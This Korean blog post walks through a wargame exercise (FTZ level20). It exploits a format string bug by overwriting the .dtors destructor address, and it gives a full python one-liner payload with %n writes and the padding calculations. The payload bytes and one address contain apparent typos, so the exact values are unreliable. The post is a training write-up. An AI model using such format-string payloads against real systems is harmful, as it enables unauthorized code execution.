FTZ level20 포맷 스트링 버그 [FSB]

2017. 5. 30. 09:14SystemHacking/FTZ

 



FTZ level20번 문제는 포맷 스트링 버그문제입니다 ( level11번에서도 풀었엇죠? )

힌트를 봐보시면 포맷스트링 취약점이 보입니다

[ 그림1 ]


포맷스트링 취약점이 있는 것을 알았고, 이제 포맷스트링 공격에 필요한 것은 무엇일까요?

2가지 : RET(리턴 어드레스) , 쉘 생성코드 주소

level11번문제에서는 " nm " 명령어를 통해서 소멸자의 주소를 알아냈습니다.

하지만 이번에는 " nm " 명령어로 볼 수 없게 막아놧네요. 하짐 또다른 방법이 있습니다


[level20@ftz level20]$ objdump -h attackme

[ 그림2 ]


18 .dtors 라는 것이 보일겁니다. 해당 라인에 나와있는 주소값은 " __DTOR_LIST__ " 의 주소입니다

어디서 많이 본거 같죠? " __DTOR_END__ " 가 바로 소멸자입니다. __DTOR_LIST__주소에 +4byte를 해주면 소멸자의 주소이다

따라서 우리는 리턴 어드레스를 찾았습니다


RET : 0x08049598


[ 그림3 ]


아,  직접 포맷 스트링 공격을 시도해보았습니다. ( 위에 RET를 찾기 이전에 해야겟죠.. ㅎㅎ )

4번째 " %8x "스트링에서 우리가 입력한 "AAAA"가 출력되고 있습니다

우리가 임의의 값을 입력할 수 있는 공간을 찾은 겁니다. ( " %n "스트링을 이용해서 )


[ 그림4 ]


이제 쉘 생성코드의 위치만 알아내면 됩니다. 이전에 만들어 놓은 에그쉘을 이용해서 쉘 생성코드위치를 파악했습니다

( 에그쉘 강좌 : http://itsaessak.tistory.com/113 )

 



[공격코드]

프로그램 실행 후에 입력하는 형태입니다. cat 명령어를 이용해서 프로그램 내부로 입력시켰습니다

(python -c 'print "\x41\x41\x41\x41\x98\x95\x04\x08\x41\x41\x41\x41\x9a\x95\x04\x84%8x%8x%8x%62108c%n%52539c%n";cat) | /home/level20/attackme


쉘생성코드 주소 : 0xbffff2c4

0x08049598 : 0xf2c4 = 62148 => 62148 - 40(4+4+4+4+8+8+8) = 62108 만큼 추가입력 첫번째 %n에 대입

0x0804959a : 0x1bfff = 114687 - 62148 = 52539 만큼 추가 입력하여 두번째 %n 에대입


결론적으로 RET(0x08049598)에는 " 0xbfffff2c4 "가 입력되었다. 따라서 main()함수가 종료되려고 할 때 쉘이 떨어지게된다


이상으로 FTZ서버 문제풀이는 모두 끝났습니다 !! 한달 반정도 걸린 것 같습니다. 다들 수고하셨습니다




'SystemHacking > FTZ' 카테고리의 다른 글

FTZ level19 Return to Libc  (0) 2017.05.30
FTZ level18 포인터 특성 활용  (0) 2017.05.28
FTZ level17 포인터 변조 2  (0) 2017.05.28
FTZ level16 포인터 변조 1  (0) 2017.05.23
FTZ level15 분기 루틴 2  (0) 2017.05.23